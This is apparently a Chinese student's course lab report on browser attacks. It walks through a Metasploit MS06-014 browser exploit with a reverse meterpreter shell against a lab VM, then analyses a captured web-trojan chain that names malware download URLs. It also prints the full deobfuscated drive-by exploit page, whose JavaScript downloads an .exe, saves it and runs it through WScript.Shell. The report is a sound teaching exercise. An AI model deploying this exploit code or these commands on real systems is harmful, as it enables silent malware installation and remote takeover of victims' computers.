20211911 2021-2022-2 《网络攻防实践》实践十一报告

1.实践内容

现代web浏览器的基本结构与机理

浏览器的抽象分层结构图中将浏览器分成了以下8个子系统:

用户界面(User Interface)

用户界面主要包括工具栏、地址栏、前进/后退按钮、书签菜单、可视化页面加载进度、智能下载处理、首选项、打印等。除了浏览器主窗口显示请求的页面之外,其他显示的部分都属于用户界面。

用户界面还可以与桌面环境集成,以提供浏览器会话管理或与其他桌面应用程序的通信。

浏览器引擎(Browser Engine)

浏览器引擎是一个可嵌入的组件,其为渲染引擎提供高级接口。

浏览器引擎可以加载一个给定的URI,并支持诸如:前进/后退/重新加载等浏览操作。

浏览器引擎提供查看浏览会话的各个方面的挂钩,例如:当前页面加载进度、JavaScript alert。

浏览器引擎还允许查询/修改渲染引擎设置。

渲染引擎(Rendering Engine)

渲染引擎为指定的URI生成可视化的表示。

渲染引擎能够显示HTML和XML文档,可选择CSS样式,以及嵌入式内容(如图片)。

渲染引擎能够准确计算页面布局,可使用“回流”算法逐步调整页面元素的位置。

渲染引擎内部包含HTML解析器。

网络(Networking)

网络系统实现HTTP和FTP等文件传输协议。 网络系统可以在不同的字符集之间进行转换,为文件解析MIME媒体类型。 网络系统可以实现最近检索资源的缓存功能。

JavaScript解释器(JavaScript Interpreter)

JavaScript解释器能够解释并执行嵌入在网页中的JavaScript(又称ECMAScript)代码。 为了安全起见,浏览器引擎或渲染引擎可能会禁用某些JavaScript功能,如弹出窗口的打开。

XML解析器(XML Parser)

XML解析器可以将XML文档解析成文档对象模型(Document Object Model,DOM)树。 XML解析器是浏览器架构中复用最多的子系统之一,几乎所有的浏览器实现都利用现有的XML解析器,而不是从头开始创建自己的XML解析器。

显示后端(Display Backend)

显示后端提供绘图和窗口原语,包括:用户界面控件集合、字体集合。

数据持久层(Data Persistence)

数据持久层将与浏览会话相关联的各种数据存储在硬盘上。 这些数据可能是诸如:书签、工具栏设置等这样的高级数据,也可能是诸如:Cookie,安全证书、缓存等这样的低级数据。

web浏览端的渗透攻击威胁————网页木马

网页木马就是网页恶意软件威胁的罪魁祸首,和大家印象中的不同,准确的说,网页木马并不是木马程序,而应该称为网页木马“种植器”,也即一种通过攻击浏览器或浏览器外挂程序(目标通常是IE浏览器和ActiveX程序)的漏洞,向目标用户机器植入木马、病毒、密码盗取等恶意程序的手段
首先明确,网页木马实际上是一个HTML网页,与其它网页不同的是该网页是黑客精心制作的,用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢,因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞,让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马,也就是说,这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始。
有朋友会说,打开一个网页,IE浏览器真的能自动下载程序和运行程序吗,如果IE真的能肆无忌惮地任意下载和运行程序,那天下还不大乱。实际上,为了安全,IE浏览器是禁止自动下载程序特别是运行程序的,但是,IE浏览器存在着一些已知和未知的漏洞,网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。

网络钓鱼

网络钓鱼 (Phishing)攻击者利用欺骗性的电子邮件和伪造的 Web 站点来进行网络诈骗活动,受骗者往往会泄露自己的私人资料,如信用卡号、银行卡账户、身份证号等内容。诈骗者通常会将自己伪装成网络银行、在线零售商和信用卡公司等可信的品牌,骗取用户的私人信息。

2.实践过程

(1)web浏览器渗透攻击

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

机器 角色 IP
kali-Linux 攻击机 192.168.200.2
win2kServer 靶机 192.168.200.124

实验步骤:

①选择使用Metasploit中的MS06-014渗透攻击模块

②选择PAYLOAD为任意远程Shell连接

③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本

④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL

⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令

1.kali使用Metasploit中的MS06-014攻击渗透,所以使用指令msfconsole打开msf界面

2.使用指令search ms06-014找到攻击模块,并使用指令use exploit/windows/browser/ie_createobject使用该模块

3.kali使用指令show payloads查看payload,然后使用指令set payload windows/meterpreter/reverse_tcp选择payload

4.kali使用指令show options查看参数,set LHOST 192.168.200.3设置攻击机IP为kali的IP,其他用默认

5.kali使用指令exploit执行攻击,复制挂马网页 http://192.168.200.3:8080/LwZeGOzoOniQyW9

6.用靶机Windows 2k访问挂马网页 http://192.168.200.3:8080/LwZeGOzoOniQyW9之后,在kali会获得一个sessions

7.在kali用指令sessions -i 1,可以获得meterpreter命令行,使用指令ipconfig可以查询得到靶机的ip,whoami指令得到靶机的用户
(其中1为session ID)

(2)取证分析实践—网页木马攻击场景分析

实践过程:

①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,

②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。

③如果解密出的地址给出的是网页或脚本文件,请继续解密。

④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。

⑤重复以上过程直到这些文件被全部分析完成。

1.该网站的分析图

2.用记事本打开start.htm,根据代码分析,发现在该网页嵌入了一个内联框架,指向了一个网页new09.htm,且该内联框架高度宽度为0,不容易被发现

3.两处可以看出start.html文件在引用new09.htm文件时没有写绝对路径,所以new09.htm文件与start.html文件在同一目录下。同样,下载下来并用记事本打开。

4.我们对两个网页分别进行MD5

5.分别打开对应的hash文件
打开看到“本文件内容是流量统计代码,不是木马”知道应该没关系

再打开另一个

6.内容看起来很复杂,但实际上这是一种被称为XXTEA+Base64的加密方法,对付这种加密方法,我们只要找到它的加密密钥就可以。

不过这里只是简单的十六进制加密,转换一下密钥是“script”.

7.访问 http://www.cha88.cn/safe/xxtea.php,在秘钥处填入“script”

这里同样是简单的十六进制加密,解密后为

利用到的应用程序漏洞有“Adodb.Stream”、 “MPS.StormPlayer”、 “POWERPLAYER.PowerPlayerCtrl.1” 和“BaiduBar.Tool”,分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。

8.另外,这个文件还引用三个 js 文件和一个压缩包(bd.cab,解开后是 bd.exe)。
1.js (MS06-014网马)十六进制编码
b.js (暴风影音网马)(老外写的 js 加解密工具,就是这么叫的)
pps.js (PPStream网马) 八进制编码

9.打开1.js

同样的解密方法

这个文件前面部分下载了一个 http://down.18dd.net/bb/014.exe 的可执行文件,后面部分是对 ADODB 漏洞的继续利用

10.接着打开b.js

开头就是p,a,c,k,e,d是一种加密方式,它的解密方法在这个地址上可以找到:http://www.cha88.cn/safe/example-inline.php,解密后

“/”的十六进制ASCII码是2F,那么我们就在那段shellcode中找“/”,结果如下

我们取从第三个2f开始到末尾的内容,访问http://www.cha88.cn/safe/shellcode.php,解密结果是:

11.接下来打开pps,js

这次是八进制加密,解密后:


同上操作可以得到:

12.于是我们有了四个可执行 exe 文件,即 014.exe,bf.exe,pps.exe,bd.exe。

13.对可执行文件进行分析,IDAPro free打开bf.exe,在string中可以看到会下载很多木马exe程序

这个程序还会修改 IE、注册表、服务和系统文件。

14.运行后,会疯狂下载木马程序,选择14.exe进行处理,先脱壳处理

再打开idaPro free查看,会报警告,并且会对注册表进行修改,这个病毒是一个盗号木马,其他类似

(3)攻防对抗实践—web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
1.如实践一所示,kali生成网址"http://192.168.200.3:8080/Aygpg0A2BF"

2.Windows 2k访问网址"http://192.168.200.3:8080/Aygpg0A2BF"

3.打开该网页对应的js源代码,发现该网页为了防止被杀毒软件查杀,对关键指令做了字符串拼接处理和使用了大量的空白和间隔

4.保存下来并去除无效回车符和空格后,我们得到了完整的网页信息,可以看到该网页中的JavaScript使用了createObject,GetObject,Wscript.shell,Adobe.stream等指令

<html>

<head>
    <title></title>
    <script language="javascript">
    function
    gzdwlMLPlHuuMUtOTKpQouUcoELw(o, n) {
        var r = null;
        try {
            eval("r=o" + ".C" + "re" + "ate" + "Ob" + "je" + "ct(n)")
        } catch(e) {}
        if(!r) {
            try {
                eval("r=o" + ".Cr" + "ea" + "teO" + "bj" + "ect(n,'')")
            } catch(e) {}
        }
        if(!r) {
            try {
                eval("r=o" + ".Cr" + "ea" + "teO" + "bj" + "ect(n,'','')")
            } catch(e) {}
        }
        if(!r) {
            try {
                eval("r=o" + ".Ge" + "tOb" + "je" + "ct('',n)")
            } catch(e) {}
        }
        if(!r) {
            try {
                eval("r=o" + ".Ge" + "tOb" + "ject(n,'')")
            } catch(e) {}
        }
        if(!r) {
            try {
                eval("r=o" + ".Ge" + "tOb" + "ject(n)")
            } catch(e) {}
        }
        return(r);
    }

    function
    CqKcYBeagLkeklyFBEiWRVFBKlwCLQX(a) {
        var s = gzdwlMLPlHuuMUtOTKpQouUcoELw(a, "W" + "Sc" + "ri" + "pt" + ".S" + "he" + "ll");
        var o = gzdwlMLPlHuuMUtOTKpQouUcoELw(a, "A" + "DO" + "D" + "B.S" + "tr" + "eam");
        var e = s.Environment("P" + "ro" + "ce" + "ss");
        var url = document.location + '/p' + 'ay' + 'lo' + 'ad';
        var xml = null;
        var bin = e.Item("T" + "E" + "M" + "P") + "\\WbJuhWUJjYWZYEQvE" + ".e" + "xe";
        var dat;
        try {
            xml = new
            XMLHttpRequest();
        } catch(e) {
            try {
                xml = new ActiveXObject("Microsoft.XMLHTTP");
            } catch(e) {
                xml = new ActiveXObject("MSXML2.ServerXMLHTTP");
            }
        }
        if(!xml) {
            return(0);
        }
        xml.open("GET", url, false);
        xml.send(null);
        dat = xml.responseBody;
        o.Type = 1;
        o.Mode = 3;
        o.Open();
        o.Write(dat);
        o.SaveToFile(bin, 2);
        s.Run(bin, 0);
    }

    function
    DEvyTaKhCfQtrwvYwsbjQ() {
        var i = 0;
        var t = new Array('{' + 'B' + 'D' + '9' + '6' + 'C' + '5' + '5' + '6' + '-' + '6' + '5' + 'A' + '3' + '-' + '1' + '1' + 'D' + '0' + '-' + '9' + '8' + '3' + 'A' + '-' + '0' + '0' + 'C' + '0' + '4' + 'F' + 'C' + '2' + '9' + 'E' + '3' + '6' + '}', '{' + 'B' + 'D' + '9' + '6' + 'C' + '5' + '5' + '6' + '-' + '6' + '5' + 'A' + '3' + '-' + '1' + '1' + 'D' + '0' + '-' + '9' + '8' + '3' + 'A' + '-' + '0' + '0' + 'C' + '0' + '4' + 'F' + 'C' + '2' + '9' + 'E' + '3' + '0' + '}', '{' + '7' + 'F' + '5' + 'B' + '7' + 'F' + '6' + '3' + '-' + 'F' + '0' + '6' + 'F' + '-' + '4' + '3' + '3' + '1' + '-' + '8' + 'A' + '2' + '6' + '-' + '3' + '3' + '9' + 'E' + '0' + '3' + 'C' + '0' + 'A' + 'E' + '3' + 'D' + '}', '{' + '6' + 'e' + '3' + '2' + '0' + '7' + '0' + 'a' + '-' + '7' + '6' + '6' + 'd' + '-' + '4' + 'e' + 'e' + '6' + '-' + '8' + '7' + '9' + 'c' + '-' + 'd' + 'c' + '1' + 'f' + 'a' + '9' + '1' + 'd' + '2' + 'f' + 'c' + '3' + '}', '{' + '6' + '4' + '1' + '4' + '5' + '1' + '2' + 'B' + '-' + 'B' + '9' + '7' + '8' + '-' + '4' + '5' + '1' + 'D' + '-' + 'A' + '0' + 'D' + '8' + '-' + 'F' + 'C' + 'F' + 'D' + 'F' + '3' + '3' + 'E' + '8' + '3' + '3' + 'C' + '}', '{' + '0' + '6' + '7' + '2' + '3' + 'E' + '0' + '9' + '-' + 'F' + '4' + 'C' + '2' + '-' + '4' + '3' + 'c' + '8' + '-' + '8' + '3' + '5' + '8' + '-' + '0' + '9' + 'F' + 'C' + 'D' + '1' + 'D' + 'B' + '0' + '7' + '6' + '6' + '}', '{' + '6' + '3' + '9' + 'F' + '7' + '2' + '5' + 'F' + '-' + '1' + 'B' + '2' + 'D' + '-' + '4' + '8' + '3' + '1' + '-' + 'A' + '9' + 'F' + 'D' + '-' + '8' + '7' + '4' + '8' + '4' + '7' + '6' + '8' + '2' + '0' + '1' + '0' + '}', '{' + 'B' + 'A' + '0' + '1' + '8' + '5' + '9' + '9' + '-' + '1' + 'D' + 'B' + '3' + '-' + '4' + '4' + 'f' + '9' + '-' + '8' + '3' + 'B' + '4' + '-' + '4' + '6' + '1' + '4' + '5' + '4' + 'C' + '8' + '4' + 'B' + 'F' + '8' + '}', '{' + 'D' + '0' + 'C' + '0' + '7' + 'D' + '5' + '6' + '-' + '7' + 'C' + '6' + '9' + '-' + '4' + '3' + 'F' + '1' + '-' + 'B' + '4' + 'A' + '0' + '-' + '2' + '5' + 'F' + '5' + 'A' + '1' + '1' + 'F' + 'A' + 'B' + '1' + '9' + '}', '{' + 'E' + '8' + 'C' + 'C' + 'C' + 'D' + 'D' + 'F' + '-' + 'C' + 'A' + '2' + '8' + '-' + '4' + '9' + '6' + 'b' + '-' + 'B' + '0' + '5' + '0' + '-' + '6' + 'C' + '0' + '7' + 'C' + '9' + '6' + '2' + '4' + '7' + '6' + 'B' + '}', '{' + 'A' + 'B' + '9' + 'B' + 'C' + 'E' + 'D' + 'D' + '-' + 'E' + 'C' + '7' + 'E' + '-' + '4' + '7' + 'E' + '1' + '-' + '9' + '3' + '2' + '2' + '-' + 'D' + '4' + 'A' + '2' + '1' + '0' + '6' + '1' + '7' + '1' + '1' + '6' + '}', '{' + '0' + '0' + '0' + '6' + 'F' + '0' + '3' + '3' + '-' + '0' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '-' + 'C' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '4' + '6' + '}', '{' + '0' + '0' + '0' + '6' + 'F' + '0' + '3' + 'A' + '-' + '0' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '-' + 'C' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '4' + '6' + '}', null);
        while(t[i]) {
            var a = null;
            if(t[i].substring(0, 1) == '{') {
                a = document.createElement("object");
                a.setAttribute("cl" + "as" + "sid", "cl" + "s" + "id" + ":" + t[i].substring(1, t[i].length - 1));
            } else {
                try {
                    a = new
                    ActiveXObject(t[i]);
                } catch(e) {}
            }
            if(a) {
                try {
                    var b = gzdwlMLPlHuuMUtOTKpQouUcoELw(a, "W" + "Sc" + "ri" + "pt" + ".S" + "he" + "ll");
                    if(b) {
                        CqKcYBeagLkeklyFBEiWRVFBKlwCLQX(a);
                        return(0);
                    }
                } catch(e) {}
            }
            i++;
        }
    }
    </script>
</head>

<body onload='DEvyTaKhCfQtrwvYwsbjQ()'> nAaeQv </body>

</html>

3.可以看到使用js调用了document.location加载了payload,并且下一行中后面跟了一个可执行文件fHEzfuTlSyw.exe;
猜想这个可执行文件应该是以攻击机为服务器,通过网页下载到靶机上的,而且为了躲避杀毒软件,每次加载恶意网页生成的可执行文件的名字是不一样的

同时打开靶机任务管理器查看正在运行的程序,果然发现了在网页源码中出现的那个可执行文件,这个应该是帮助攻击机获取靶机控制权限的恶意程序。

4.通过对上面代码中"BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30"和"7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D"这类字符进行查询,可以查到该漏洞

3.学习中遇到的问题及解决

  • 问题1:实践二中网页打不开
  • 问题1解决方案:使用同学给的压缩包进行后续实践
  • 问题2:IEnet按键F12没反应,不知道怎么查看js脚本代码
  • 问题2解决方案:点击查看->源代码就能看到

4.实践总结

本次实践理论没搞懂就开始做,导致最开始做的一知半解还卡住了,又反过来照着资料和视频看了好久才再次实践,有点浪费时间了。

参考资料

posted @ 2022-05-23 18:09  两面包+芝士  阅读(294)  评论(1编辑  收藏  举报